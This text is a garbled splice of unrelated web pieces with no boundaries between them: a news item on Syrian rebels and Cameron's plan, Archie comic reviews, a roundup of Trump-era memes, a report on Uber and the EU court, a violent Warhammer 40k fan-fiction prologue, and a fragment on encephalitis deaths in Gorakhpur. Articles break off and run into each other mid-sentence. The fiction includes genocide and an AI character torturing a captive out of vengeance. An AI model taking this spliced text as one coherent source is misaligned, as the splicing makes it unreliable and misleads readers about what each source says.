Last night Ghadi Sary, a Syria specialist at the Chatham House thinktank, said: “It was oversimplified when it was said that 70,000 were waiting. It would have been better to say there are 70,000 opposed to Assad who are not radical. The idea that they would take Raqqa is overstretching it.”
(Image: Rex)
One major problem with the Government’s planned reliance on friendly Syrian rebels is that the overthrow of Assad is a bigger priority for most.
Their supporters would be unhappy if they suddenly redirected their guns on IS instead of Assad, the most despised figure for many Syrians.
poll loading What do you think of David Cameron's plan to work with 70,000 Syrian rebels 0+ VOTES SO FAR Sounds like a smashing plan to me I can see a few problems with 120 untrained armies with different agendas co-existing This shows David Cameron is a useless leader and his plan can't possibly work
Charles Lister, author of The Syrian Jihad: Al-Qaeda, the Islamic State and the Evolution of an Insurgency, said: “They will not suddenly overnight become British tools to fight Isil as long as they are still having to fight Assad.”
(Image: JOHN CANTLIE)
A more likely force to mount a full-scale assault on Raqqa is the Democratic Forces of Syria, a combination of Kurdish units and some Syrian Arab groups.
They, however, are thought to number less than 10,000.
The Kurdish groups involved in insurgencies against both IS and the Turkish army on the Syria-Turkey border are not included in the 70,000 for fear of offending Turkey, a key ally.
Syrian rebels announce they will target Russian airbase10 The Fandom Post - Josh Begley I'd be lying if I said that I was worried about this reboot. I've been a fan of Mark Waid and Fiona Staples for quite some time now, and I knew that they had the right chops to make this work. If you're a lifelong Archie fan and are on the fence about this work, then hop off it and give this a try. Everything you loved about the classic stories is here in spades. And if you haven't tried Archie before, now is the perfect time to start. Professor Josh gives this an" Read Full Review
10 Comic Book Resources - Matt Little With so much hoopla surrounding the All-New Marvel and DC YOU initiatives, it's amazing that this -- one of the most recognizable comic book titles in the history of the medium -- is being launched with far less fanfare. In the past year, Archie Comics has found ways to adapt their characters in fresh and exciting ways for a new generation of readers. With Waid and Staples -- two creators who continue to find new heights for their own creativity -- at the helm, the publisher has created their best book in years. "Archie" #1 is must-read comics for anyone looking for fun, engaging characters and beautifully drawn, on-trend style. Read Full Review
10 Spartantown - Enrique Rea Anyway, Waid and Staples have exceeded expectations by bringing Archie into the 21st century with style, humor, and tons of heart. They have honored the sweet innocence of the series with a mature approach that is still fun and inviting. In fact, they've opened a whole new world ready to embraced by old and new fans alike. Archie #1 is off to a spectacular start and one of the best debuts of the year. Read Full Review
10 Comicosity - Kelly Richards I didnt expect to feel quite so enthused by Archie #1 but I really am. It has perfectly encapsulated that high school sitcom, slice of life, teen movie vibe that I, and so many other people love and maybe havent been getting too much of lately, or at least nothing that feels so genuine. Read Full Review
10 AiPT! - Sam Roche It's great! This issue was truly the perfect way to start off an Archie series that promises to be thoughtful, dramatic and tons of fun. Read Full Review
10 Outright Geekery - Ashley Gibbs Overall I really enjoyed reaching Archie #1.It was fun and I read it quicker than I expected to because I enjoying myself so much. It didn't take itself too seriously while at the same time staying grounded in realism. At the end of the story, readers are also treated to the first ever Archie comic which is very different from the book itself and even most versions of Archie I personally know. However, even then it's clear to see how these characters started and what makes them who they are today. It's been a long journey for this redhead and his friends and this series promises to take them on a brand new ride. Read Full Review
10 Comic Spectrum - Adam Alamo Archie Comics has really done something special with this Waid/Staples led relaunch of its core Archie title. They have done much more than give it a superficial refurbishing with a highly acclaimed creative team, but instead handed it off to a pair that obviously care about the character, history, and legacy. It's fun, hip, humorous, and modernized, but retains the classic narrative and all the things that make Archie great. |
4chan wrote: “We actually elected a meme as president.”
As terrifying as the idea of a meme having access to the nuclear codes is, the age of Trump has ushered in a new age of memes. Jokes on the internet often crop up in the most trying of times – and with a non-stop news cycle based around whatever the president tweets next, maybe memes are the only way to make sense of the turbulent times we live in.
Fifteen standout moments from Trump's first 100 days – in pictures Read more
In no particular order, here are some of the memes that have cropped up in the first 100 days of the Trump presidency.
Inauguration day
It was the day no one really thought would arrive, but arrive it did. On the plus side, there were plenty jokes to be had.
There was box-gate:
jomny sun (@jonnysun) the only good moment of this inauguration is michelle jim-facing the camera like "why did she give me this box" pic.twitter.com/WoGAWfKS0l
George Bush’s poncho:
Max Tani (@maxwelltani) The George W. Bush reaction cam during Trump's inauguration speech was lit pic.twitter.com/x33V19MLTn
Then Trump kind of quoted Bane in his inauguration speech:
Batman-News.com (@BatmanNewsCom) Guys... Donald Trump quoted Bane in his #Inauguration speech! pic.twitter.com/tVZQ4ppgPK
And that’s without even mentioning the crowd sizes debacle.
Rogue Whitehouse accounts
'Will we survive 1,361 more days?': Our panel's verdict on Trump's first 100 days Read more
In Trump administration’s infancy, a strange trend developed, where a bunch of accounts were set up purporting to be run by disgruntled members of government departments.
NOT ALT WORLD (@NotAltWorld) Can't wait for President Trump to call us FAKE NEWS.
You can take our official twitter, but you'll never take our free time!
It started with an “alternative” Park Services account (@AltParkSer now @NotAltWorld). Soon, around 50 “rogue” government accounts had been set up, none of which were verified. But they racked up the followers nonetheless.
SEE YOU IN COURT
There was much mirth on Twitter when judges in the ninth circuit court of appeals upheld a temporary restraining order on Donald Trump’s controversial travel ban on arrivals from seven Muslim-majority countries. Not from Trump however, who tweeted:
Donald J. Trump (@realDonaldTrump) SEE YOU IN COURT, THE SECURITY OF OUR NATION IS AT STAKE!
Which people found quite funny.
Max Grossman (@GrossmanMax) trump: "SEE YOU IN COURT!"
court: pic.twitter.com/KKg8rtRRwS
Then Hillary Clinton got involved, either referring to the three-strong panel of judges’ unanimous verdict, or more likely the three times the travel ban has been successfully blocked:
Hillary Clinton (@HillaryClinton) 3-0
Tiny Trump
Not much to explain here. The internet just really enjoyed making Trump look really tiny.
Huw (@ed_son) I may never stop laughing. #TinyTrump pic.twitter.com/ZcBCpBkBgM
Trump draws
Possibly one of the best Twitter accounts of the Trump age – though we have a while to go yet. As Trump signed executive order after executive order, @TrumpDraws had a different idea of what exactly the president was up to:
Trump Draws (@TrumpDraws) house pic.twitter.com/AHAjqMazJ4
Trump Draws (@TrumpDraws) abc pic.twitter.com/jlxclJUKi0
Trump Draws (@TrumpDraws) my job pic.twitter.com/H0FL6n8JP5
President Bannon
Amid reports chief strategist Steve Bannon actually held sway at the White House, mischievous tweeters began spreading the “President Bannon” meme, with the aim of annoying Trump. They even started a campaign: #PostcardstoBannon.
progressive blue (@weprogressives) I just wrote to the *real* Pres! Join me. He loves getting mail!#PostcardsForPresBannon #PresidentBannon #PostcardsToBannon pic.twitter.com/2vDDEo0X6K
Handshakes
The president has a weird handshake, as Japanese prime minister Shinzō Abe found:
When Canadian prime minister Justin Trudeau came to visit, one picture stood out:
Kim Kelly (@GrimKim) Today, we are all Justin Trudeau pic.twitter.com/woXgZshntj
Although it should be noted, Trudeau did actually shake Trump’s hand.
Sean Spicer’s many memes
It’s hard to know where to start with the many memes relating to White House press secretary Sean Spicer. But perhaps it’s best to start with his first press conference, in which he berated journalists for not reporting that Trump’s inauguration crowd was the biggest ever. This was then turned into #SpicerFacts:
Mark Zohar (@markzohar) Guess the number of jelly beans.
Me: 87
Wife: 134
Sean Spicer: 1.5 million #spicerfacts pic.twitter.com/dq7MmhgG3H
Film School Rejects (@rejectnation) "Suicide Squad was the most critically acclaimed movie of 2016. Period." #SpicerFacts pic.twitter.com/wvjrmH8mfj
Trump’s truck
The day the American Trucking Association arrived on the White House lawn is a day which will go down in infamy, thanks to these pictures:
Julia Reinstein (@juliareinstein) when you think about how much you <3 trucks pic.twitter.com/MfkdeNV0gLUber CEO Travis Kalanick. REUTERS/Kim Kyung-Hoon LONDON — Uber was dealt a major blow in Europe on Thursday, after Advocate General Szpunar, a key advisor to the European Court of Justice, said the Californian ride-hailing firm is a transportation firm and, therefore, subject to local laws governing this type of company.
The decision is non-binding, but highly important.
The European Court of Justice is currently deciding whether Uber is a transportation firm or a digital service, something that will have significant implications for how it operates on the continent.
Uber, which does not own its own vehicles and whose drivers are technically self-employed, frames itself as a tech firm simply connecting independent drivers to passengers. But a binding ruling from the ECJ that it is a transportation business would subject it to stricter rules and regulations in some cases.
The ECJ's judges do not always follow the opinion of advocate generals — but they tend to.
"Taking account of the fact that the supply of transport constitutes, from an economic perspective, the main component, whilst the service of connecting passengers and drivers with one another by means of the smartphone application is a secondary component, the Advocate General proposes that the Court's answer should be that the service offered by the Uber platform must be classified as a'service in the field of transport'," the ruling says.
"It follows from that interpretation that Uber's activity is not governed by the principle of the freedom to provide services in the context of 'information society services' and that it is thus subject to the conditions under which non-resident carriers may operate transport services within the Member States."
In short: Uber is a transport company, and needs to follow local laws on how other taxi and transportation firms operate — which are often far stricter than those it currently follows.
A protest against Uber by black cab drivers in London. REUTERS/Luke MacGregor In a statement, an Uber spokesperson said: "We have seen today's statement and await the final ruling later this year. Being considered a transportation company would not change the way we are regulated in most EU countries as that is already the situation today. It will, however, undermine the much needed reform of outdated laws which prevent millions of Europeans from accessing a reliable ride at the tap of a button."
The ECJ's binding decision is expected later this year.
As Uber has expanded aggressively around the world, it has faced numerous lawsuits — both in Europe and elsewhere — over how it operates.
Meanwhile, Uber is reeling from numerous scandals. A lawsuit from Waymo, Google's self-driving car unit, accuses the firm of stealing its tech. A former employee accused it of a culture of sexism, prompting an ongoing internal investigation. CEO Travis Kalanick was caught on video aggressively berating a driver after they complained about changes to pay. Numerous top executives have left the company.
Read the full ruling here »Out of the Dark.
Prologue
Welcome to the brink Adam. It’s not the end of the world but you can see it from here.
M25-008 Wild Space. Segmentum Obscura. Calixus Sector.
Through the trackless waste of interstellar space a planet travelled. It was an orphaned world. Cold and dead.
It had been liveable once when it had orbited a sun. It had even possessed a name bestowed by the six limbed sentient race that had inhabited it. Their species had just achieved the mass use of steam power and industry. Powered flight was the next great adventure.
Then one day the sun set and never rose again.
The sun had gone. The Eldar masters of the Galaxy using the ancient construction of the Old Ones had removed the star to be placed in their webway. Providing light to the great port city of Commoragh the nexus of the labyrinth dimension that granted them swift and easy traversal of the Galaxy. Without the suns warmth or the grip of gravity the planet spun out of control through the void. Descending into a winter that ended only when the remnants of the atmosphere itself froze over. Whether the eldar had bothered noticing the planet was inhabited or just hadn’t cared was a mystery and completely irrelevant to the poor creatures who had spent their last moments huddled around fires lit by their own burning libraries.
A fleet of warships orbited the iceball. Some damaged from a recent battle that had cast light onto the surface of the world for the first time in millennia. All bearing the distinctive bladelike archictecture of the Federation of Man. The uniting power of all humanity’s colonies.
Near the center of the formation was its flagship.
The vessel was enormous a thirty five kilometre length of angular plate and weapon ports. The front of the ship bore the distinctive split prow of a planetary siege vector. The docking bay resembling the open maw of some terrible beast of legend. A journey through the titanic doors would reveal rank upon rank of Assault craft, landing vessels, racked missiles and other weapons of war. Past that through the intricacies of the ships systems to a shadowed chamber in which two humans watched the death of another civilisation unfold.
It was a scene of nightmare. A city beautiful and shimmering at a Core world of the Eldar empire. Magnificent towers of crystal and wraithbone reached to the clouds with elegant arching bridges between them. Nowhere was there anything poorly wrought. Only archictectural masterpieces, elegant statuary so lifelike that you imagined them breathing. Yet as the view descended to the ground the inhabitants of the city revealed their nature to be the opposite of their constructions.
Acts of unimaginable depravity were enacted. Crazed revellers covered in blood ran down the streets to be cut down by others who then performed unspeakable acts upon their corpses. Every building, every chamber was host to acts of living sacrifice, horrific torture, sexual perversion and narcotic degeneracy. A city wide descent into madness unmatched in the universe. Yet it did not dim it seemed that with each second the maddening orgy of atrocity grew to new heights like the pulsing of a quickening heart.
Then it stopped in fire. The Glimmering city was consumed by a moving blastfront of searing light. That turned the maddened revellers to ash against the shattering walls of their city.
The image shifted again to titanic warships in high orbit. The broken hulls of Eldar ships surrounding them. Unlike the graceful wraithbone archictecture these vessels were harsh and angular like Drawn swords and arrow points slicing across the void to pierce their enemies hearts.
Harnessing the background radiation of the universe to move through the higher dimensions of realspace these warships had bypassed the warp storms generated by the eldars species wide embrace of evil. Demiurg Bastion Craft flying in support their Black plate hulls reflecting the burning devestation of the world below.
The few surviving Eldar craft flew in poor coordination their own crews too lax to have maintained their training. Weapons of horrific power filled the void. Focused beams of neutrons, Salvoes of tens of thousands of gravitic propelled missiles and every weapon known to a dozen separate races wiped the ships from the heavens before resuming their bombardment of the doomed planet.
Some worlds saw all life consumed by viral plagues that rendered everything into an unliving primordial soup. Others bombarded with pyrochemical superweapons that burned until the atmosphere itself was consumed. Cities drowning in the blood of their inhabitants as sentient naniteswarms disassembled them from the inside out.
Another city consumed by urban warfare. Eldar fought against human invaders. Yet like a deranged mob of drug addicts. Interested in nothing but the thrill of combat they hurled themselves against wedges of Power armoured soldiers. Flying insanely above marching ranks of Robotic Warriors on gravity bikes. Unfeeling to pain even as the fearless automatons slew them with mechanical perfection. Many not even pausing from their drug addled rutting as the Iron men cut them down. Hunting clades of lizard like Tarellians ran down the psychotic revellers and decapitated them even as they giggled in their own spilled entrails.
It was less a battle then the putting down of rabid animals.
Legions of men and machines marched towards holes in reality created by a shimmering towers of Black Glass. Wave after wave penetrating through the Webway to rip apart the Eldar empire from within.
A sun held captive in the City of Commoragh cracked and exploded. A catastrophe repeated throughout the Webway as singularity weapons and planet crackers broke the connected strands of the labyrinth dimension into dozens of isolated networks denying the Eldar any hope of coordinating their empire.
Too consumed by their own mindless selfishness each world of the empire looked to itself first. Many ignoring the assaults on the empire altogether until it was too late Cut off from the others and isolated. When the Humans and their allies reached a world they tried to fight back. The threat of imminent violence and death shaking them briefly from their self absorbed hedonism. Organising themselves into proper military strikes. They fought like their ancestors of another age coordinating their forces with the skill of a supreme blademaster.
But it was too late for them. Overwhelming forces descended on each planet. Eldar war machines were vaporised by the weapons of Castigator Super titans. Ground into dust beneath the treads of Continental Siege Units. It was relentless, Brutal and absolutely thorough. Surrender was rarely offered. The Eldar unleashed horrific weapons and ancient psychic powers. Even summoning hordes of twisted monsters from the beyond to their aid. But without the supremacy of the Webway they could only stem the tide. Legions upon legions died before the Eldar defenders only to be replaced by more.
In the space of only decades the once proud Eldar Race was reduced to a few scattered exodite worlds on the rim of the Galaxy. These planets quarantined by automated Sentries to prevent them ever leaving. Humanity and its allies had systematically obliterated the Children of Isha who so very nearly brought catastrophe on the Universe. The warp storms gestating at the heart of the empire dissipating.
And through it all a great cry of disappointment and despair echoed from the warp. The screaming of a stillborn denied life at the cusp of its own birth.
The images stopped. Frozen. Lights returned to reveal a female Eldar emanciated. Suspended in a ornate metal cage. Her violet eyes flickered in a state of REM sleep.
The fine robes torn. The hair shaved off. A dozen thin silver cables penetrating the Aliens skull like leecher worms trails of blood running from the insertion points. Drool dripping from her mouth.
The proud xeno was barely conscious. Her mind and every single though she had ever possessed had been sifted, filtered and analysed by the gestalt of a heuristic analysis AI in conjunction with her human counterpart. As an Eldar the farseer was possessed of a mind that could challenge the extradimensional entities of the Empyrean. Contemplate heights of intellectual complexity, emotion and sensation beyond any other sentient life. Even gaze upon the multiple potential futures that were reflected in the non linear timescape of the warp. In comparison to the Gestalt consciousness that now beamed her innermost thoughts on the hologram she was mindless bacterium.
“So this is what they meant to prevent.”
A large man in scarred power armour stood in front of the bound alien psyker. His voice emanating from a simple grill. The armour was smooth and well cared for but the polished surface marked out the thin abrasions that recent battle damage had inflicted. The height and bulk of the armour suggested an augmented body beneath the steel. The strange curved metal tulwar at his side shifted in its scabbard. Odd energies playing across its surface.
Beside him stood a hooded figure in a light absorbing camo cloak. A sleek plasma pulse rifle held in his arms. The bodyguard tilted his head back to address something unseen up in the ceiling.
“Central is this future is now truly impossible? Certainly I don’t recognise some of those weapons.”
The female voice echoed back from above. “Operative Artur given the degree of technological and scientific regression caused by the Iron war. The timeline the farseer sought to prevent has reached 0.00004 likelyhood of success.”
Statistical data and vid feeds of civil disorder and chaos on a hundred human worlds illuminated the air above the bound Eldar. As the Predictive cogitator continued onwards.
“Probability approaches unity that the widespread anti tech movements will become standard law. Societal reversal and upheaval in conjunction with the emerging dictatorships on many worlds will cause further degeneration. More stable societies such as the knight worlds and the outer reach will endure. However their cultural emphasis on technological conservatism will be made stronger. The guardian neuroimpulses in the knight suits will encourage them towards autocratic government systems if isolated. Given all this and allowing for shift in human social patterns. Best case scenario is four hundred years of relative stasis and stagnation before political economic and technological levels commence a rise to pre iron war state. Example any research into WMD scale Nanite weaponry prior to the Iron War was prohibited by the Treaty of Grendel. Circumstances leading to lifting of such ban not included in Prophetic visions. Time required to reach level of technology suggested by these predictions cannot be calculated.”
The Power armoured figure whispered softly “Time we do not have.”
The voice spoke in sorrow. “No. By extrapolating star patterns from the Farseer’s memory we have confirmed that the warp storms initiated by their …. Behaviour will reach expansion phase within ten T years. This matches projections based on amount of psionic energy generated by entire Eldar populace and current warp turbulence. In forty two T years they will have spread to a sufficient degree to cause warp transport failure in sixty two percent of the Federation. By that point in the unaltered timeline the Phase dimensional shifting technology and necessary astrological data collection had advanced to the point of preventing complete collapse. Through usage of this serviceable but less efficient FTL the federation with the Iron men and its allies maintained sufficient resources to complete the Dark Glass project. Identification of Eldar weaknesses, and amassing of sufficient technological and numerical superiority allowed the initiation of full scale War approximately seven hundred years from the present time. Comparitive Stellar observations from the Eldars mind suggest a two hundred year error margin for the precise date conflict is initiated.”
More complex holograms appeared above the Aliens head showing psionic waveforms and some truly disturbing imagery of a human psyker shooting fire from their eyes before being beaten to death by a mob.
Centrals voice continued onwards. “Deep analysis of her memory indicates that the warp turbulence will be the cause of the secondary distortion in human psychic population. Comparing classified data with the final results of the Dresden V project experiments in M23-490 supports this. Result. Ninety percent plus of psionic potential individuals will experience a total shift to neural resonance with the Warp as opposed to realspace. Exact nature of manifestation cannot be calculated. Probability of severe negative consequences based on previous occasions of uncontrolled warp resonance however approaches ninety nine point nine, nine nine eight. Danger of inherited genetic mutations as a result of even slight warp exposure high.
The General shook his armoured head. “Show me the long term virtual simulation based on your own predictive calculations.”
“General a simple verbal explanation should suffice. It is” a weighted pause. “Unpleasant”
“Route it to my implants now Central. Let me experience it. It’s a simulation but I need to see.”
…
“Yes Sir.”
It is the time of ending. The Federation of man has achieved victory in the Iron war. For two and a half centuries they have waged a brutal, unrelenting conflict with their own treacherous creations the Men of Iron. Civilisations have been destroyed, Species genocided, Worlds torn apart and Entire Solar systems extinguished. The death toll has long since passed the point of even being fully comprehended. The damage to the Federation on every level will take centuries to recover from if it has that time.
Across the federation panic driven movements seek to destroy all forms of advanced cybernetic research. Launching pogroms against even the men of stone whose loyalty never faltered. Destroying the very tools that may help rebuild the damaged knowledge base of man or explain what caused the Iron rebellion in the first place. More and more psychics whose minds are attuned to the limitless psionic energies of the extradimensional warp are born. These Psykers wield incredible power beyond normal psychics yet many become nothing but uncontrolled vessels of the Warp and those who do not succumb to madness and megalomania. Witch hunts and religious hysteria run rife and even the navigators are not safe from the pogroms. While other worlds are consumed by psyker dictatorships and extradimensional invasions. Violent Xenos races confined to quarantine planets escape their prisons while those few allies among the stars left to mankind find themselves struggling for their own survival. Even as the Federation military rebuilds and marches upon a thousand war fronts budding secession movements and rebellions threaten to deal the death blow to mans wounded empire.
From the Heart of the Eldar domain ominous warp storms extend outwards. Slowly strangling what remains of trade and communication. With their own FTL transport system unaffected The Self absorbed Eldar as ever are uncaring to the suffering of the galaxy save as an amusement. A brief distraction from their species wide descent into repulsive degeneracy. Their only interactions with the Federation in large scale raids and slaver runs. Seeking out new toys to amuse themselves with in their webway lairs.
What alternatives mankind possesses to Warp travel are too slow, too unreliable or too dangerous to compensate for the catastrophic results of a potential galactic wide breakdown in warp travel.
Isolated and alone systems are betrayed by former allies, consumed in civil war. Many worlds unable to sustain themselves collapse into self destructive atomic war and barbarism. The downfall of Baal repeated again and again. All of mankind falling into a darkness from which there is no end.
It had lasted an eternity or only half a minute beneath his helm the general licked salt away from his lips. “So that’s how it is.” His voice was cold like that of a man marching to the rope.
The Voice from the dark continued. “Given current data probability approaches unity that all human civilisation will collapse. Even were full amount of this data to be provided to the Federation Council insufficient time remains to reverse the trend. Even simulations run on current affairs without data extracted from the Xenos supports this scenario.”
“It is as he said. Yet I had to see. What if her plan had been fully successful? You have that vision as well I presume?”
“Yes based on her psychic visions provided by the device designated Acuity, the information shared by the Ancient one and my own analysis I have constructed her Ideal scenario.”
The Eldar twitched as more information was pulled from her brain.
“Running simulation.”
Mankind was dead. In response to the initial outbreak of the War the remaining Iron men were altered to ignore all psychic phenomena and emotional restriction. Though unable to be corrupted by chaos their logic patterns had concluded that In order to save humanity from chaos they had to first destroy it. All that was left were mighty storage vessels contained the digitally encoded DNA of billions of human subjects. Waiting for the day when their faithful servants would restore them to true life upon cleansing the galaxy of all psychically active life and returning the Warp to tranquility. That day would never come. Without mankind’s own creativity and barred from any psychic usage the Iron men were unable to employ the dark Glass and combat the Eldar in the Webway. Although the initial attacks on their empire were successful destroying hundreds of their core worlds the Eldar were able to eventually rally and fight back. The threat of war galvanising them to abandon their decadent ways. The Iron men were utterly destroyed. The gene banks purged by the eldar so that the brutish human race would never again rise to threaten the galaxy with its self destructive stupidity. The bulk of the Eldar race aware of how their descent into decadence had left them vulnerable reformed their society. The Children of Isha’s dominance of the Galaxy was assured for another ten million years and humanity if it was remembered at all was as a species of comically foolish sentients. Whose only contribution to existence was a cautionary lesson to the Eldar.
“Retrieved memory suggests the Farseer council’s initial alliance with the cabal was predicated on its first series of precognitive seeing. In these ones the Eldar achieved victory against the human Iron man assault at great cost sufficient to shock them out of their cultural degradation. However over time multiple factors arising from human political and technological advancements rendered this timeline inactive replacing it with the one in which Humanity defeated the Eldar.
Images of other Farseers and their names appeared.
“Hence Aldrea and her splinter faction seeking to enforce the Iron war timeline. Upon their initiation of the war the cabal decided to throw all their resources to ensuring mankinds extinction. At the time they were unaware of her actions but her own observations of their behaviour indicates that even if they had known they would have continued with her scenario after the first timeline was rendered untenable.”
“Wake her up.” The cold voice was now freezing.
“Sir?”
“The psi blockers are in place. I have a blank right beside me. Wake ….her…. up.”
A slight pulse of electricity brought the Alien into consciousness. She coughed and then looked at the cold metal visage that had moved to within a hands reach of her.
“Why?”
She breathed through a bruised and broken nose. “You’ve carved open my mind like a roast Mon Keigh. You already know the answer”.
His voice carried enough disdain to etch adamantium.“True but the forms must be observed it is the civilised thing to do. Why this way. All this convoluted mess. Your own people had no interest in really destroying us just occasionally messing with us for sport. All this and you act pleased over the ruin that you have inspired. The Eldar master of fate but clearly not masters of themselves.”
“Like you said We Eldar love to remind lesser races of their place. Now at the end with victory achieved why not gloat. We hunted your kind for entertainment before you ever left your planet. When you rose from your muck covered world we paid you little notice. For so long the farseers have forseen a doom falling on us as a result of our peoples reckless self indulgence. I would not let some filthy apes take advantage of our distraction however brief it may be in the millions of years that we have reigned supreme and will again after what comes. Your race will never ascend to rival us.”
The bodyguard let scorn carry into his voice as he felt the need to address the Xeno.
“Somehow I don’t think the Cabal saw it that way in this instance. Not when they finally found out how creatively you had interpreted their directives.”
The General let his hand rub the pommel of the blade. “You’re not gloating as I would expect. In fact you seem to have suddenly become a terrible actor.”
The Eldars mocking smile froze slightly as the General continued.
“You’ve won Aldrea. You’ve won. Shouldn’t you be happier? You used your warp sorcery to infect our creations with extradimensional entities. Then when we shut down aspects of their sentience matrixes to protect them the rest concluded that the only way to ‘save’ us from what happened to them was to wipe out all sentient organic life and keep our genetic info in storage until they had figured out a better solution.’
I’ll admit that part was truly a brilliant bit of innovation. An empire that destroys itself is far harder to heal. For two and a half centuries you’ve watched us beat ourselves to death. Everything we’ve pulled out of your twisted head that has confirmed our utter doom. So gloat witch. Make me believe that you are pleased with your success.”
The witch grimaced. Defiant even now. “Well my immediate situation is rather unpleasant Mon keigh. It does diminish the glow of victory. The knowledge that you only found my hideaway with the aid of the Ancient one does cheer me. ”
The sword at the generals side seemed to shake in its scabbard as if sensing the rage of its master.
“You fear neither death or pain. You showed how readily you were prepared to die. All these times I tried to kill you. Was it frustrating at how much extra work we put you through. When we won the Iron War and began to rebuild. From your admission and memories You’ve put seven centuries into this. Three ever since it turned out your race wouldn’t win the war. Plotting our downfall all so we would be the goad to save your species from that abomination.” He pointed accusingly to the image on the wall. A half naked elder was eating an eyeball he had plucked from a Tarellian skull.
Aldrea gave a slight shrug with her bound arms.
“It was a difficult project. One would think that your species would need little encouragement. But you brutish Monkeigh are more stubborn then yrcha. Even your treacherous creations not enough to force you to finish the task of castrating yourselves. Still once the destruction began its self sustaining. Like a fire eating away at a rotten. ……”
An Iron gauntleted hand gripped the Eldars throat. Squeezing. “All I want to do is choke every hypocritical breath from you right now. I’ve dreamt of it. Mon Keigh? I know the translation for that word and from all I have seen your corrupt species is more fitting of it than any other. You are unworthy of your pride, unworthy of your supposed superiority, unworthy of the Webway. Unworthy of existence. But then I’m done playing your game.” He pulled away leaving deep bruises along her throat and the Witch gasping for breath.
“That just now. Comparing us to orks was meant to make me kill you. It’s so crude. All the subtlety you’ve wrought and your last moments sound like a half rate villain in a fifth millennium holovid”
The iron coloured helm shook slowly side to side. “Even when we cut you off from the webway and defeat was staring you in the face the goading just wouldn’t stop. So proud even as I killed your followers in front of you and fed you to Central.” His voice rose to the rumble of an avalanche. Implacable and angry.
“This from the one who tricked the council of Baal into killing their own world? Who ripped the orbital rings of Medusa from the heavens? Who ensured that those whose contributions might have turned the tide were killed before we even knew their importance? Not as much you pretended though.
Humanity is going to burn and like you said at our worst it can be so much easier to turn on each other. I concede the only reason I found you was because the Ancient one helped me track you down. He owed me that favour. As for the rest of your allies they may be beyond my reach but not the Cabal.” He hissed “Given your failure in the true purpose of the alliance with the Cabal your fellows who didn’t sign on with you may have to kill the rest of your faction to keep in the Cabals good graces.”
“You’re not afraid of me killing you. You’re afraid of me not killing you. I can see it in your eyes Aldrea and Central here has a direct line into your brain so don’t think you can bluff me anymore. “
Gauntleted hands squeezed her cheek and turned the Eldars ear to look at the images of her people killing each other in the streets.
A hiss came from the helmets grill. “Those images of your people murdering each other. Did humans cause that in this future you prevented? Did we drive your people to madness? No. I wonder. What would you see if you kept looking? That day above Baal when the planet self destructed. You didn’t look triumphant then. That was your moment. The last loose you end you needed to tie up. But you didn’t look happy. I know what you sound like when you are happy. I’ve endured it often enough.”
As he turned her face back to his she regained for an instant her regal demeanor.
“I have not enjoyed the necessity of your species downfall Mon Keigh. Though I will admit satisfaction in a work well crafted. Everything I have done I did to ensure my peoples future and I would do it again. I would commit a thousand times more atrocity to prevent my races destruction. So would he for that matter. I would suffer any torment you inflict on me knowing that I have done my duty.”
The armoured figure leaned in close and whispered in her ear. “I know exactly what you mean. Yet I also know you’re lying. Your people would have survived Eldar they just wouldn’t have ruled. You do not know the difference between necessity and convenience. But you will. Aldrea who said anything about me torturing you?”
He stepped back and nodded towards the ceiling.
“Central?”
A female voice echoed from every side of the chamber. Or rather two female voices speaking in perfect unison. “General?”
“You have total penetration of her cerebral nexus?”
The farseer writhed in pain as the Artificial Intelligence stimulated her nervous system. Her counterparts influence indulging a desire for vengeance. “I have sir.”
His voice dripped with bitter irony. “Then let the noble farseer look into the future one last time. Let her see what future she has created now. Artur step back enough so she can draw on the empyrean but stay close to me. Central shunt her precognitive faculties into overdrive. Cauterise her inhibitors so she can’t stop. I want her to see the fruits of her labour in full detail.”
The conjoined voice replied with a hint of concern.
“The other visions witnessed were only possible due to her contact with the Farscrying device referred to as the Acuity. The true nature of the postulated event was never revealed to the Eldar. Even the greatest Farseer cannot ordinarily scry to that distance forwards in time space. Under the Cerberus directive I cannot risk warp energy conjunction through direct neural link to an active psyker. I must sever sensory feeds to her frontal lobes while this is in effect. We cannot witness whatever it is she observes. If she dies or suffers damage through neural crystallisation recovery of her data from the damaged area will be non viable. The exact nature of what she sees will be lost to us.”
“It’s enough that she witnesses it. Because I think that ever since Baal she’s been trying not to. You’ve already pulled all other information out of her?”
“I have extracted all the way back to the first memories of opening her eyes as an infant.”
His voice now was utterly devoid of sentiment. “Then her existence has no further value.”
For the first time in all the centuries he had seen her face the Man behind the Iron mask percieved true fear. Aldrea and her allies had succeeded in destroying the empire of humanity. But it wasn’t going to end like she wanted. Mankind would survive to destroy itself and so would her race.
“Initiating psionic energy transfer. Blockers down. Stimulating precognitive functions.”
The farseer gasped. Writhing against her restraints. Seeking to resist the Imperitives Central forced into her brain. Then her eyes rolled back in her head and her voice shifted to a guttural mumble.
“The humans are unable to destroy the Eldar. Yet the Farseers cannot. They cannot stop the madness. Not even the … it continues on and on. Does it stop. It stops it will stop when.”
The farseers eyes opened wider. And she began to scream. It was the scream of an animal being tortured to death. It was the scream of a mother over dead children. It was a scream of such horror and revulsion as to deny sanity. For one instant the general felt a ghost of pity for her. Then he crushed it with the cold hate that had become a part of him. The bitter fury that had sustained him through a thousand campaigns of thankless conflict. She didn’t stop to breathe blood pouring from her eyes and nose.
Her head exploded like a seismic grenade. Partially crystallised brain matter and neural fluid erupting in a fountain of gore. A blastwave of released psychic energy fading to nothing as it struck against Artur’s null aura. Covering the General’s helmet with the remnants of her face.
The body sagged in the restraints. The lower jaw only held on by strands of flesh.
Reaching up with one cybernetic hand the general slowly removed his grim helmet. Wiping the spilled blood off the upper part of the visor with his thumb. A scarred bald head gleamed under the light.
“Well that was … bad.”
“What now sir?”
Then Star General Julius Perturabo turned to his subordinate. Unhealed scars running over a silver cyber eye in his right socket. A pair of thin metal cables running through his chin. A man that had battled through three centuries of war only to have his efforts confirmed as futile. Who had stood beside monsters and immortals. He didn’t grimace. Didn’t snarl. Didn’t so much as register the slight aura of otherness that his blank bodyguard gave off. He took a breath and spoke. “We have work to do.”
Authors note.
Being a fan of Dark age of War and light cast into darkness I have thrown my hat into the ring for this theme. Although like those before me I will be taking my own slant on it.
I have always found the timing of the Iron war a bit convenient for the Eldar. |
Das Medical College from 7 to 11 August.
The tragedy struck again after that, from 27 to 1 September, claiming another 35 lives in various wards of the hospital including 9 in the encephalitis ward.
There is no denying the fact that encephalitis is a killer disease in Gorakhpur and its adjacent areas. According to India Today, encephalitis claimed 25,000 lives in Gorakhpur in the last four decades. The article also says that last year, 224 children died due to the endemic in Gorakhpur till September last year. This year, the number was 175 till 29 August.
